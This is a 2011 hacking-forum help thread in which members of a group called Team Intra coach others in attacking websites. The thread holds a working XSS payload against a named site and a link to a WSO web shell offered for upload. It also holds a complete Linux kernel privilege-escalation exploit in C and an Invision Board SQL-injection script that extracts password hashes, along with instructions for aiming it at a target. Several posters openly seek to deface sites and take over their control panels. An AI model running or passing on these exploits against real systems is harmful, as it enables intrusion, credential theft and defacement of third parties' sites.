

Forum:[Hack Forums](#)

Thread: [\[Team Intra\] Official Help Thread \[Ask us a question\]](#)

No?????? - October 19, 2011, 12:57 am

[img]http://i1178.photobucket.com/albums/x362/JupiiterDesigns/try2-1.png[/img]

Team Intra - Official WebApp Security Help Thread

Welcome to our official help thread, if you have a problem or question regarding Web Application security, just post below in the following format and one of our members will help you out.

Rules: Strictly no full blackhat stuff or specific website hack requests. Also, no DDoS questions, I don't consider it hacking. Also, DO NOT PM ME.

Post Template:

Code [b][color=#32CD32]Vulnerable Link:[/color][/b]

[b][color=#32CD32]Question/Problem:[/color][/b]

HaxOr? - October 19, 2011, 4:48 am

Vouch for this guy...He will help you alot!

No?????? - October 19, 2011, 4:58 am

(Oct 19, 2011 04:48 AM)?? ? x O r ? Wrote: [\[CITE\]](#) Vouch for thiS guy...He will help you alot!
Thanks for the vouch mate, thread disappeared. :P

The Ion - October 19, 2011, 6:10 am

What is apache tomcat 5.2.25 vulnerablity how can i exploit it potentially mind explaining me ?

Pirate - October 19, 2011, 7:06 am

Sorry , I just need an info and I don't have the vulnerable link.

How can we prevent our website from SQLi attackers ? Is there a method to block SQL queries..
Web Application Firewall gets tricked if we use words like this /*!uNiOn*/ so what is the exact way ?
Please and thank you!

Killuminatii - October 19, 2011, 7:10 am

(Oct 19, 2011 07:06 AM)damienomen Wrote: [\[CITE\]](#) Sorry , I just need an info and I don't have the vulnerable link.

How can we prevent our website from SQLi attackers ? Is there a method to block SQL queries..
Web Application Firewall gets tricked if we use words like this /*!uNiOn*/ so what is the exact way ?
Please and thank you!

Thats also what I need to know, but I dont have a vulnerable link either, but hope you can answer my question.

elmnas - October 19, 2011, 7:18 am

Hello master,

I wonder have you experience in Metasploit etc? Please pm if you have.

Thanks in advantage

Cheers.!

DARK CP4N3L - October 19, 2011, 7:26 am

Thanks for opening this thread zelos

my question is why is it that when i get the admin details of a website i sqlied and find the admin panel then try logging in with the admin id and password doesnt work instead it says username or passwd wrong but im sure its correct because i injected it myself a site like <http://c2-europe.eu>

the admin panel is

<http://c2-europe.eu:2082>

for this reason i have not been able to deface because i cant log into any website which i sqli the only one i got recently that logged in is in chinese which i dont understand thanks zelos thats my major problem i have up to four sites like this thanks once more.

Dirty Ghetto Kid - October 19, 2011, 7:52 am

Hey there.

After you scan a site for open ports and vulnerabilities you van search for the exploit but how can u do the exploit? Sometimes it is a large text in md5 where to put it in? Mabey you know a good treath about this?

Cheers!

AnGrY Bo - October 19, 2011, 7:55 am

How can I symlink if the server Perl was inactive?

noober1001 - October 19, 2011, 7:55 am

(Oct 19, 2011 07:26 AM)DARK CP4N3L Wrote: [\[CITE\]](#) Thanks for opening this thread zelos my question is why is it that when i get the admin details of a website i sqlied and find the admin panel then try logging in with the admin id and password doesnt work instead it says username or passwd wrong but im sure its correct because i injected it myself a site like <http://c2-europe.eu>

the admin panel is

<http://c2-europe.eu:2082>

for this reason i have not been able to deface because i cant log into any website which i sqli the only one i got recently that logged in is in chinese which i dont understand thanks zelos

thats my major problem
i have up to four sites like this
thanks once more.Bro, the admin panel, you have found is not the admin panel in reality.. it is control panel. Username and password of control panel are different mostly from the admin panel's username and password.
Just try to find the admin panel of that site, not control panel.

Alienguy - October 19, 2011, 7:59 am

Vulnerable Link: chip.in (search box is vulnerable)

Question/Problem: When I type <h1> i love hf and search it it shows "i love hf " in big letters. But i can't find a way to open alert-box using xss there .

dumar - October 19, 2011, 8:10 am

(Oct 19, 2011 07:59 AM)Alienguy Wrote: [\[CITE\]](#) Vulnerable Link: chip.in (search box is vulnerable)

Question/Problem: When I type <h1> i love hf and search it it shows "i love hf " in big letters. But i can't find a way to open alert-box using xss there .

Here you are :)

Code This

```
sitE/search.php?q=abc%3Cscript%3Ealert%28%2Fhello+world%2F%29%3B%3C%2Fscript%3E&search_list=5&Submit=Go
```

// maybe change topic name to "Intra help" so we all will can help :D

Alienguy - October 19, 2011, 8:18 am

(Oct 19, 2011 08:10 AM)dumar Wrote: [\[CITE\]](#) Here you are :)

Code http://THIS

```
SITE/search.php?q=abc%3Cscript%3Ealert%28%2Fhello+world%2F%29%3B%3C%2Fscript%3E&search_list=5&Submit=Go
```

// maybe change topic name to "Intra help" so we all will can help :DYou are the most awesome hacker I've ever seen , Thanks a million !

Prominent - October 19, 2011, 8:19 am

Vouch for my team Intra mate, I'm sure he will help you all.

Alienguy - October 19, 2011, 8:20 am

(Oct 19, 2011 08:10 AM)dumar Wrote: [\[CITE\]](#) Here you are :)

Code This

```
sitE/search.php?q=abc%3Cscript%3Ealert%28%2Fhello+world%2F%29%3B%3C%2Fscript%3E&search_list=5&Submit=Go
```

// maybe change topic name to "Intra help" so we all will can help :DCode abc<script>alert(/hello world/);</script>Can you please explain why you used "/" and "abc" ?

I mean it even works without "abc" at the beginning.

Also when I change "/hello world/" to "/lol/" it doesn't works , why ?

dumar - October 19, 2011, 8:22 am

(Oct 19, 2011 07:52 AM)ACK Wrote: [\[CITE\]](#) Hey there.

After you scan a site for open ports and vulnerabilities you van search for the exploit but how can u do the exploit? Sometimes it is a large text in md5 where to put it in? Mabey you know a good treath about this?

Cheers!

It depends on exploit, most are written in perl/python/C/php

Example on perl for windows:

- 1.download active perl
- 2.paste exploit to txt file
- 3.change extension to .pl
- 4.run: cmd-> cd directory where is script -> perl scriptname.pl paramets

If the script is local, you have to run it from server, so you have to have access (shell/back connect script)

(Oct 19, 2011 08:20 AM)Alienguy Wrote: [\[CITE\]](#) Code abc<script>alert(/hello world/);</script>Can you please explain why you used "/" and "abc" ?

I mean it even works without "abc" at the beginning.

Also when I change "/hello world/" to "/lol/" it doesn't works , why ?

there has to be smth what will be found on site

for exaple

<script>alert(/hello chip/);</script> also works

// are to prevent filter

You dont have to use abc, i just used it to put some normall text in search bar firstly

Alienguy - October 19, 2011, 8:31 am

(Oct 19, 2011 08:22 AM)dumar Wrote: [\[CITE\]](#) It depend on exploit, most are written in perl/python/C/php

Example on perl:

- 1.download active perl
- 2.paste exploit to txt file
- 3.change extension to .pl
- 4.To run: cmd-> cd directory where is script -> perl scriptname.pl paramets

It has to be smth what will be found on site (im not sure, but thats how i see it)

for exaple

<script>alert(/hello chip/);</script> also works

// are to prevent filter

You dont have to use abc, i just used it to put some normall text in search bar firstlyBut when I change "/hello world/" to "/lol/" it doesn't works , why ?

dumar - October 19, 2011, 8:35 am

(Oct 19, 2011 08:31 AM)Alienguy Wrote: [\[CITE\]](#) But when I change "/hello world/" to "/lol/" it doesn't works , why ?

Lets put <script>alert(/lol computer/);</script> then it works :)

There has to be word that is able to be found by search script

There is no "lol" on the site, check it by typing only "lol" in search bar, but there is "computer", so results are shown, with you query.

Its because query is shown, only if results were found

Alienguy - October 19, 2011, 8:37 am

(Oct 19, 2011 08:35 AM)dumar Wrote: [\[CITE\]](#) Lets put `<script>alert(/lol computer/);</script>` then it works :)

There has to be word that is able to be found by search script

There is no "lol" on the site, check it by typing only lol in search bar, but there is computer, so it works.

Its because you query is shown, only if results were found OK , thank you for taking your time to help me ?

No?????? - October 19, 2011, 10:09 pm

Ok guys, I have updated the thread. All Intra members, feel free to answer. :)

(Oct 19, 2011 06:10 AM)Lens Wrote: [\[CITE\]](#) What is apache tomcat 5.2.25 vulnerability how can i exploit it potentially mind explaining me ?

It depends on the vulnerability, try reading how the vulnerability works.

(Oct 19, 2011 07:06 AM)damienomen Wrote: [\[CITE\]](#) Sorry , I just need an info and I don't have the vulnerable link.

How can we prevent our website from SQLi attackers ? Is there a method to block SQL queries.. Web Application Firewall gets tricked if we use words like this `/*!uNiOn*/` so what is the exact way ? Please and thank you!

Blacklist those characters in your WAF rules or get a better WAF because that one sounds outdated.

(Oct 19, 2011 07:18 AM)xsi Wrote: [\[CITE\]](#) Hello master,

I wonder have you experience in Metasploit etc? Please pm if you have.

Thanks in advantage

Cheers.!

I have a fair bit of experience, what is your problem?

(Oct 19, 2011 07:26 AM)DARK CP4N3L Wrote: [\[CITE\]](#) Thanks for opening this thread zelos my question is why is it that when i get the admin details of a website i sqlied and find the admin panel then try logging in with the admin id and password doesnt work

instead it says username or passwd wrong

but im sure its correct because i injected it myself

a site like

<http://c2-europe.eu>

the admin panel is

<http://c2-europe.eu:2082>

for this reason i have not been able to deface because i cant log into any website which i sqli the only one i got recently that logged in is in chinese

which i dont understand

thanks zelos

thats my major problem

i have up to four sites like this

thanks once more.

They don't work because you have found the login credentials for their websites admin panel, :2082 is used for the cPanel. The cPanel password is NEVER stored in the sites database.

(Oct 19, 2011 07:52 AM)ACK Wrote: [\[CITE\]](#) Hey there.

After you scan a site for open ports and vulnerabilities you can search for the exploit but how can u

do the exploit? Sometimes it is a large text in md5 where to put it in? Mabey you know a good treath about this?

Cheers!

I'm not entirely sure what you're referring to here. What did you use to scan the website?

(Oct 19, 2011 07:55 AM)Angry Bo Wrote: [\[CITE\]](#) How can I symlink if the server Perl was inactive? Not sure what your question is exactly, Perl is not required to create a symbolic link.

DARK CP4N3L - October 20, 2011, 2:36 am

Thanks a lot zelos am grateful and happy ,
i have learnt something new i love learning
now i understand the admin panel is different from the cpanel okay,thanks
so please what is the admin panel
i tried searching but i got only
the cpanel.

Ashkwil - October 20, 2011, 2:39 am

Hi I have made a sepertate thread regarding my problem! I know many people are asking for help hacking but im asking for help from recovering from a hack!

I found a team poison shell had been uploaded on the site (however i dont think it was actually team poison) and it was a WP site so I've updated the WP version and all plugins, is there anything I can do to see if the vulnerability is still there?

Thanks a lot I appreciate it

No?????? - October 20, 2011, 3:04 am

(Oct 20, 2011 02:39 AM)Ashkwil Wrote: [\[CITE\]](#) Hi I have made a sepertate thread regarding my problem! I know many people are asking for help hacking but im asking for help from recovering from a hack!

I found a team poison shell had been uploaded on the site (however i dont think it was actually team poison) and it was a WP site so I've updated the WP version and all plugins, is there anything I can do to see if the vulnerability is still there?

Thanks a lot I appreciate it

You can look through the HTTP Access Logs and find out how they got in.

Ashkwil - October 20, 2011, 3:20 am

(Oct 20, 2011 03:04 AM)?Z?I?s™ Wrote: [\[CITE\]](#) You can look through the HTTP Access Logs and find out how they got in.

Hi thanks for that but how do i go about doing this?

The access logs folder in my hosting file manager is empty

Thanks again really appreciate it

Mx. - October 20, 2011, 3:57 am

(Oct 20, 2011 02:39 AM)Ashkwil Wrote: [\[CITE\]](#) Hi I have made a sepertate thread regarding my problem! I know many people are asking for help hacking but im asking for help from recovering from a hack!

I found a team poison shell had been uploaded on the site (however i dont think it was actually

team poison) and it was a WP site so I've updated the WP version and all plugins, is there anything I can do to see if the vulnerability is still there?

Thanks a lot I appreciate it
Should put a link up here from your website, see if anyone can find where the got in ;-).

Ashkwil - October 20, 2011, 4:27 am

(Oct 20, 2011 03:57 AM)Mx. Wrote: [\[CITE\]](#) Should put a link up here from your website, see if anyone can find where the got in ;-).

Haha yeah and let someone do it again! :P

zer0pwn - October 20, 2011, 5:18 am

Enormous vouch for ?Z?I?s™, he knows his stuff :)

Teenage Anarchist - October 20, 2011, 5:23 am

Hi
I need to know: If you can't see table admin it doesn't exist or is it just hidden?
Can every hash be cracked?

HaxOr? - October 20, 2011, 5:47 am

(Oct 20, 2011 05:23 AM)Teenage Anarchist Wrote: [\[CITE\]](#) Hi
I need to know: If you can't see table admin it doesn't exist or is it just hidden?
Can every hash be cracked?
1) I think it's hidden...Some sites don't have admin panel...
2) If password is like admin123456789 then it's crackable if it's aAdDmmInNn123456789 then it's harder and maybe it won't be decrypted.
So it depends how strong is password.

Hannibal Lecter - October 20, 2011, 6:32 am

Vouch for team intra, legit sellers!

dumar - October 20, 2011, 6:58 am

(Oct 20, 2011 06:32 AM)VVolverine Wrote: [\[CITE\]](#) Vouch for team intra, legit sellers!
Well, we are not selling anything here, but thanks xD

Teenage Anarchist - October 20, 2011, 7:17 am

(Oct 20, 2011 05:47 AM)?? ? x O r ? Wrote: [\[CITE\]](#) 1) I think it's hidden...Some sites don't have admin panel...
2) If password is like admin123456789 then it's crackable if it's aAdDmmInNn123456789 then it's harder and maybe it won't be decrypted.
So it depends how strong is password.
thanks haxor but if it's hidden can i still see it?

HaxOr? - October 20, 2011, 7:19 am

I think you can...Maybe admin just changed the name of the table.
Look better.

Razor4x 5_0 - October 20, 2011, 7:58 am

i've some technical problem with metasploit update bcz when i type into the msfconsole svn update it says svn: cannot open file
'external\source\DLLHijackAuditKit\svn\text-base\runcalc.dll.svn-base': impossible finding the current file. or when i run the msfupdate.bat the same thing if you can help me i appreciate it. some

more inof about the situation: windows vista home premium sp1, antivirus kaspersky 2009 version of metasploit: 4.1.0-release.13988 framework

Mx. - October 20, 2011, 8:01 am

well its quite obvious status Razor, the file is not found where it supposed to be.

Razor4x 5_0 - October 20, 2011, 8:04 am

that i know but i cannot resolve it.

HaxOr? - October 20, 2011, 8:05 am

Did you tried reinstalling Metasploit?

Razor4x 5_0 - October 20, 2011, 8:58 am

yup exactly 4 times

35 chars nn bitchess

Teenage Anarchist - October 20, 2011, 9:04 am

(Oct 20, 2011 07:19 AM)?? ? x O r ? Wrote: [\[CITE\]](#) I think you can...Maybe admin just changed the name of the table.

Look better.

?? ? x O r ? do you know how to do this? i saw how many succesfull website hacks you've done

p.s: thanks for your help so far

Mx. - October 20, 2011, 11:06 am

(Oct 20, 2011 09:04 AM)Teenage Anarchist Wrote: [\[CITE\]](#) ?? ? x O r ? do you know how to do this? i saw how many succesfull website hacks you've done

p.s: thanks for your help so fa

PM me a link with the info ur looking at, i might be able to help you out from there off.

CharrieOnTheAttack - October 20, 2011, 12:59 pm

How does 1 go about joining Team Intra? :)

I know: SQLi, XSS, LFI, Basic RFI (learning atm), C++, VBS, PHP, HTML as well as graphic, video and audio editing/design :)

~X.x.X~ - October 20, 2011, 1:01 pm

i hv some sites but can't find admin pages of that sites.

i try on havij and online but failed.

how can i find admin pages of that sites

dumar - October 20, 2011, 1:24 pm

(Oct 20, 2011 12:59 PM)CharrieOnTheAttack Wrote: [\[CITE\]](#) How does 1 go about joining Team Intra? :)

I know: SQLi, XSS, LFI, Basic RFI (learning atm), C++, VBS, PHP, HTML as well as graphic, video and audio editing/design :)

There is no open recruitment.

Someone from team, have to recommend and invite you.

Then you have to solve test, we evaluate it and depend on results, you are in or not.

But the most important is invation.

Le Flou - October 20, 2011, 1:24 pm

(Oct 20, 2011 01:01 PM)~X.x.X~ Wrote: [\[CITE\]](#) i hv some sites but can't find admin pages of that

sites.

i try on havij and online but failed.

how can i find admin pages of that sites Try to use Acunetix and check this thread from [our member](https://hackforums.net/showthread.php?tid=1497809)
<https://hackforums.net/showthread.php?tid=1497809>

dumar - October 20, 2011, 1:27 pm

(Oct 20, 2011 01:01 PM)~X.x.X~ Wrote: [\[CITE\]](#) i hv some sites but can't find admin pages of that sites.

i try on havij and online but failed.

how can i find admin pages of that sites

Check our Tutorial on finding admin page

<https://hackforums.net/showthread.php?tid=1497809>

//edit: Haha you were faster Le Flou :>

No??????? - October 20, 2011, 1:49 pm

(Oct 20, 2011 08:58 AM)Razor4x 5_0 Wrote: [\[CITE\]](#) yup exactly 4 times
35 chars nn bitchess

Have you checked the Virus Quarantine log in your antivirus? It could be deleting it for some obscure reason. It's odd though considering it's a subversion config file I think.

(Oct 20, 2011 01:01 PM)~X.x.X~ Wrote: [\[CITE\]](#) i hv some sites but can't find admin pages of that sites.

i try on havij and online but failed.

how can i find admin pages of that sites

Have you checked for the robots.txt file? Also, have you checked if it has any public CMS installed?

BreastMilk - October 21, 2011, 12:52 am

Bump For me good m8!!!

Hopefully, This will maybe clean the section up a bit!

~X.x.X~ - October 21, 2011, 1:02 am

when i try this

<http://www.site.com/robots.txt> its showing not found.

1 site show this User-agent: *

Disallow: /

and how can i access 100% admin pages.

thnx

C0L055AL - October 21, 2011, 1:03 am

I have a question, where can I get a Shell to upload to an admin Control panel. I am moments away from conquering my first site and could use this information.

No??????? - October 21, 2011, 1:42 am

(Oct 21, 2011 01:03 AM)C0L055AL Wrote: [\[CITE\]](#) I have a question, where can I get a Shell to upload to an admin Control panel. I am moments away from conquering my first site and could use this information.

Here's the source to a WSO shell:

<http://privatepaste.com/ec986c5b61>

Check for backdoors and use at your own risk.

C0L055AL - October 21, 2011, 1:53 am

Thanks zelos, how do I go about compiling this? I am still a noob haha.

Or do I use it in notepad and save it as a .php file?

No?????? - October 21, 2011, 2:17 am

(Oct 21, 2011 01:53 AM)C0L055AL Wrote: [\[CITE\]](#) Thanks zelos, how do I go about compiling this? I am still a noob haha.

Or do I use it in notepad and save it as a .php file?

Yeah, just save it as a PHP file. PHP is an interpreted language and therefore doesn't need compiling.

HaxOr? - October 21, 2011, 4:44 am

If you need help with uploading it to the site contact me ;)

hex2bin - October 21, 2011, 7:58 am

(Oct 19, 2011 07:26 AM)DARK CP4N3L Wrote: [\[CITE\]](#) Thanks for opening this thread zelos my question is why is it that when i get the admin details of a website i sqlied and find the admin panel then try logging in with the admin id and password doesnt work instead it says username or passwd wrong but im sure its correct because i injected it myself a site like <http://c2-europe.eu>

the admin panel is

<http://c2-europe.eu:2082>

for this reason i have not been able to deface because i cant log into any website which i sqli the only one i got recently that logged in is in chinese which i dont understand

thanks zelos

thats my major problem

i have up to four sites like this

thanks once more.

? ? admin username password u geting from sqli is not same as <http://c2-europe.eu:2082>(cPanel)

BreastMilk - October 21, 2011, 1:12 pm

(Oct 21, 2011 01:09 PM)dumar Wrote: [\[CITE\]](#) Waiting for new questions.... :D

Spoiler ([Click to View](#))leleleLol...

Ontopic: Seems to have cleaned the section up slightly.. I think this should be stickied.

Dutch Wildy - October 21, 2011, 1:16 pm

Hey do you have any tutorial (Or know 1 (Yes I tried search button)) to do something like that only yourself have access to an website, I think it was something with shells?

Prominent - October 21, 2011, 1:32 pm

(Oct 21, 2011 01:16 PM)Dutch Wildy Wrote: [\[CITE\]](#) Hey do you have any tutorial (Or know 1 (Yes I tried search button)) to do something like that only yourself have access to an website, I think it was

something with shells? Start by learning SQL Injection, it is an effective way to gain access to a website. Work your way down in these tutorials. From Basic to Filter Injection.

There you go (Some tutorials) :

[Basic Injection](#)

[String Injection](#)

[Blind injection](#)

[Double query](#)

[MSSQL \[asp\]](#)

[MSACCESS\[asp\]](#)

[Filter Evasion](#)

dumar - October 21, 2011, 1:43 pm

(Oct 21, 2011 01:16 PM) Dutch Wildy Wrote: [\[CITE\]](#) Hey do you have any tutorial (Or know 1 (Yes I tried search button)) to do something like that only yourself have access to an website, I think it was something with shells?

All tuts written by our members:

[How to find admin page](#)

[LFI to shell](#)

[SQLi to PHP Shell](#)

[Hash Types](#)

<https://hackforums.net/showthread.php?tid=1431358> - String based SQL Injection tutorial Version 2.0

<https://hackforums.net/showthread.php?tid=1545268> - Crack any hash

<https://hackforums.net/showthread.php?tid=1405301> - 'ORDER BY' Doesn't work? Look here

[String Based Tutorial]

<https://hackforums.net/showthread.php?tid=1124572> - [TUT] SQLi vulnerable scanning [TUT]

<https://hackforums.net/showthread.php?tid=1225237> - [TUT] SQL Injection; Basic WAF bypass

[/TUT]

<https://hackforums.net/showthread.php?tid=1148283> - [TUT] SQL injection Tutorial + pics [/TUT]

<https://hackforums.net/showthread.php?tid=1459234> - [TUT] SQLi to PHP Shell [TUT]

<https://hackforums.net/showthread.php?tid=1395827> - HackThatForum [MyBB/vBulletin/IPB]

Services that are up:

<https://hackforums.net/showthread.php?tid=1744250> - Crack Your Hashes

//join7 doesnt have our signature, but he is member.

Rhythm - October 21, 2011, 2:08 pm

Would a vulnerability scanner like Acunetix pick up all XSS vulnerabilities on a site?

Or would the site be potentially vulnerable even if nothing was picked up.

dumar - October 21, 2011, 2:16 pm

(Oct 21, 2011 02:08 PM) Rhythm Wrote: [\[CITE\]](#) Would a vulnerability scanner like Acunetix pick up all XSS vulnerabilities on a site?

Or would the site be potentially vulnerable even if nothing was picked up.

Yes, Acunetix picks up most XSS, but I'm almost sure not all.

There are some syntaxes that are not implemented in acunetix.

The best xss cheat sheet
<http://ha.ckers.org/xss.html>

No??????? - October 21, 2011, 2:26 pm

(Oct 21, 2011 02:08 PM)Rhythm Wrote: [\[CITE\]](#) Would a vulnerability scanner like Acunetix pick up all XSS vulnerabilities on a site?

Or would the site be potentially vulnerable even if nothing was picked up.
It will pick up most, but not all. Acunetix is a good indicator, but not a substitute for a professional penetration test.

KoolKidsloveKoolAid - October 21, 2011, 5:10 pm

I hope Zelos can help me on this one :p ; How does one obtain the cpanel login on a Windows box with a shell
uploaded. Yes, I have tried SYMLinking already :[

No??????? - October 21, 2011, 5:15 pm

(Oct 21, 2011 05:10 PM)KoolKidsloveKoolAid Wrote: [\[CITE\]](#) I hope Zelos can help me on this one :p ; How does one obtain the cpanel login on a Windows box with a shell
uploaded. Yes, I have tried SYMLinking already :[
Have you tried to gain SYSTEM privileges on the server yet?

KoolKidsloveKoolAid - October 21, 2011, 5:16 pm

(Oct 21, 2011 05:15 PM)?Z?I?s™ Wrote: [\[CITE\]](#) Have you tried to gain SYSTEM privileges on the server yet?
What do you mean by that? Root? D:

No??????? - October 21, 2011, 5:20 pm

(Oct 21, 2011 05:16 PM)KoolKidsloveKoolAid Wrote: [\[CITE\]](#) What do you mean by that? Root? D:
Yeah, SYSTEM is the Windows equivalent of rooting.

KoolKidsloveKoolAid - October 21, 2011, 11:21 pm

(Oct 21, 2011 05:20 PM)?Z?I?s™ Wrote: [\[CITE\]](#) Yeah, SYSTEM is the Windows equivalent of rooting.
Na. I have not. I am searching for a local Linux 2.6.18-194.17.1.el5, though.

No??????? - October 21, 2011, 11:26 pm

(Oct 21, 2011 11:21 PM)KoolKidsloveKoolAid Wrote: [\[CITE\]](#) Na. I have not. I am searching for a local Linux 2.6.18-194.17.1.el5, though.
I think jessica_beil_lying_naked_in_my_bed works for that version.

orunu - October 21, 2011, 11:27 pm

(Oct 21, 2011 11:21 PM)KoolKidsloveKoolAid Wrote: [\[CITE\]](#) Na. I have not. I am searching for a local Linux 2.6.18-194.17.1.el5, though.
if its a linux box why did u say it was windows?

No??????? - October 21, 2011, 11:39 pm

(Oct 21, 2011 11:27 PM)orunu Wrote: [\[CITE\]](#) if its a linux box why did u say it was windows?

Maybe he's got a shell on two different servers?

COL055AL - October 21, 2011, 11:44 pm

(Oct 21, 2011 02:17 AM)?Z?I?s™ Wrote: [\[CITE\]](#) Yeah, just save it as a PHP file. PHP is an interpreted language and therefore doesn't need compiling.

Why thank you kind sir. Everything is fantabulous.

thethatguy - October 21, 2011, 11:45 pm

(Oct 21, 2011 11:39 PM)?Z?I?s™ Wrote: [\[CITE\]](#) Maybe he's got a shell on two different servers?

If that is the case give this a try:

Code #include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>

#include <linux/atm.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/stat.h>

#define NUM_CPUS 8

#define ATM "/proc/net/atm/avc"

int

main(void)

{

char *err, adurit[2000];

int i, ret, sock, proc;

struct atm_qos dj;

struct sockaddr_atmsvc addr;

sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);

memset(&dj, 0, sizeof(dj));

dj.rxtx.traffic_class = ATM_UBR;

dj.txtp.traffic_class = ATM_UBR;

dj.aal = ATM_NO_AAL;

```

ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));

if (ret == -1) {
printf("failed !\n");
return 1;
}

memset(&addr, 0, sizeof(addr));

addr.sas_family = AF_ATMSVC;

bind(sock, (struct sockaddr *) &addr, sizeof(addr));

listen(sock, 10);

listen(sock, 10);

for (i = 1; i < NUM_CPUS; ++i) {
if (fork() != 0) {
break;
}
}

proc = open(ATM, O_RDONLY);

ret = read(proc, &adurit, 2000);

close(proc);

return 0;
}

```

If you are implying to the IIS server that you plan on rooting. Please don't post anything further on this topic.

The Ion - October 21, 2011, 11:51 pm

(Oct 21, 2011 11:45 PM)thethatguy Wrote: [\[CITE\]](#) If that is the case give this a try:

Code #include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>

```

#include <linux/atm.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/stat.h>

#define NUM_CPUS 8

#define ATM "/proc/net/atm/avc"

int

main(void)

{
    char *err, adurit[2000];

    int i, ret, sock, proc;

    struct atm_qos dj;

    struct sockaddr_atmsvc addr;

    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);

    memset(&dj, 0, sizeof(dj));

    dj.rxtp.traffic_class = ATM_UBR;

    dj.txtp.traffic_class = ATM_UBR;

    dj.aal = ATM_NO_AAL;

    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));

    if (ret == -1) {

printf("failed !\n");

return 1;

    }

    memset(&addr, 0, sizeof(addr));

    addr.sas_family = AF_ATMSVC;

    bind(sock, (struct sockaddr *) &addr, sizeof(addr));

    listen(sock, 10);

```

```

listen(sock, 10);

for (i = 1; i < NUM_CPUS; ++i) {
    if (fork() != 0) {
        break;
    }
}

proc = open(ATM, O_RDONLY);
ret = read(proc, &adurit, 2000);
close(proc);

return 0;
}

```

If you are implying to the IIS server that you plan on rooting. Please don't post anything further on this topic.

mate i need to pm you can i pm you please add me to ur buddy list i cant send u pm

Dec0DER™ - October 22, 2011, 6:52 am

is it possible to hack this site:
malmofriskola.se

lukasitoable - October 22, 2011, 6:55 am

how do i run this

```

<?php
/*
<= 1.3.1 Final
/str0ke /

```

```

$server = "SERVER";
$port = 80;
$file = "PATH";

```

```

$target = 81;

```

/ User id and password used to fake-logon are not important. '10' is a random number. /

```

$id = 10;
$pass = "";

```

```

$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++) {
    $idx = 0;

```

```

$found = false;

while( !($found) ) {
    $letter = substr($hex, $idx, 1);

    / %2527 translates to %27, which gets past magic quotes.
    This is translated to ' by urldecode. /
    $cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
    $cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`, $i, 1)=%2527" . $letter;

    / Query is in effect: SELECT * FROM ibf_members
    WHERE id=$id AND password='$pass' OR
id=$target
    HAVING id=$target AND
MID(`password`, $i, 1)='$letter' */

    $header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
    if( !preg_match('/Location:(.*)act=Login\&CODE\=00\r\n/',
$header) ) {
        echo $i . ": " . $letter . "\n";
        $found = true;

        $hash .= $letter;
    } else {
        $idx++;
    }
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
    $ip = gethostbyname($server);
    $fp = fsockopen($ip, $port);

    if (!$fp) {
        return "Unknown";
    } else {
        $com = "HEAD $file HTTP/1.1\r\n";
        $com .= "Host: $server:$port\r\n";
        $com .= "Cookie: $cookie\r\n";
        $com .= "Connection: close\r\n";
        $com .= "\r\n";

        fputs($fp, $com);

        do {
            $header.= fread($fp, 512);
        } while( !preg_match('/\r\n\r\n$/',$header) );
    }
}

```

```
    return $header;
}
?>
```

No?????? - October 22, 2011, 7:11 am

(Oct 22, 2011 06:55 AM)lukasitoable Wrote: [\[CITE\]](#) how do i run this

```
<?php
```

```
/*
```

```
<= 1.3.1 Final
```

```
/stroke /
```

```
$server = "SERVER";
```

```
$port = 80;
```

```
$file = "PATH";
```

```
$target = 81;
```

```
 / User id and password used to fake-login are not important. '10' is a
random number. /
```

```
$id = 10;
```

```
$pass = "";
```

```
$hex = "0123456789abcdef";
```

```
for($i = 1; $i <= 32; $i++ ) {
```

```
    $idx = 0;
```

```
    $found = false;
```

```
    while( !($found) ) {
```

```
        $letter = substr($hex, $idx, 1);
```

```
        / %2527 translates to %27, which gets past magic quotes.
```

```
This is translated to ' by urldecode. /
```

```
        $cookie =
```

```
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
```

```
        $cookie .=
```

```
"%20HAVING%20id=$target%20AND%20MID(`password`, $i, 1)=%2527" . $letter;
```

```
        / Query is in effect: SELECT * FROM ibf_members
```

```
        WHERE id=$id AND password='$pass' OR
```

```
id=$target
```

```
        HAVING id=$target AND
```

```
MID(`password`, $i, 1)='$letter' */
```

```
        $header = getHeader($server, $port, $file .
```

```
"index.php?act=Login&CODE=autologin", $cookie);
```

```
        if( !preg_match('/Location:(.*)act=Login\&CODE=\00\r\n/',
```

```
$header) ) {
```

```
            echo $i . ": " . $letter . "\n";
```

```
            $found = true;
```

```
            $hash .= $letter;
```

```
        } else {
```

```

    $idx++;
  }
}
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
    $ip = gethostbyname($server);
    $fp = fsockopen($ip, $port);

    if (!$fp) {
        return "Unknown";
    } else {
        $com = "HEAD $file HTTP/1.1\r\n";
        $com .= "Host: $server:$port\r\n";
        $com .= "Cookie: $cookie\r\n";
        $com .= "Connection: close\r\n";
        $com .= "\r\n";

        fputs($fp, $com);

        do {
            $header.= fread($fp, 512);
        } while( !preg_match('/\r\n\r\n$/', $header) );
    }

    return $header;
}
?>

```

Modify all the appropriate variables for the site you're targeting and then execute it on a webhost with PHP or install PHP and use your own PC.

dumar - October 22, 2011, 7:23 am

(Oct 22, 2011 06:52 AM)Dec0DER™ Wrote: [\[CITE\]](#) is it possible to hack this site: malmofriskola.se
It is.
But I would faster inform them about vulnerability than tell you.
Its not black hat topic.

No?????? - October 22, 2011, 7:26 am

(Oct 22, 2011 06:52 AM)Dec0DER™ Wrote: [\[CITE\]](#) is it possible to hack this site: malmofriskola.se
You should have read the thread rules before posting.

iEvolallday - October 22, 2011, 7:31 am

Question/Problem: I am trying to set up a JDB. I can't seem to find rinlogger. Any help? Also, do you know of any good applets?

No?????? - October 22, 2011, 7:36 am

(Oct 22, 2011 07:31 AM)iEvolallday Wrote: [\[CITE\]](#) Question/Problem: I am trying to set up a JDB. I can't seem to find rinlogger. Any help? Also, do you know of any good applets?

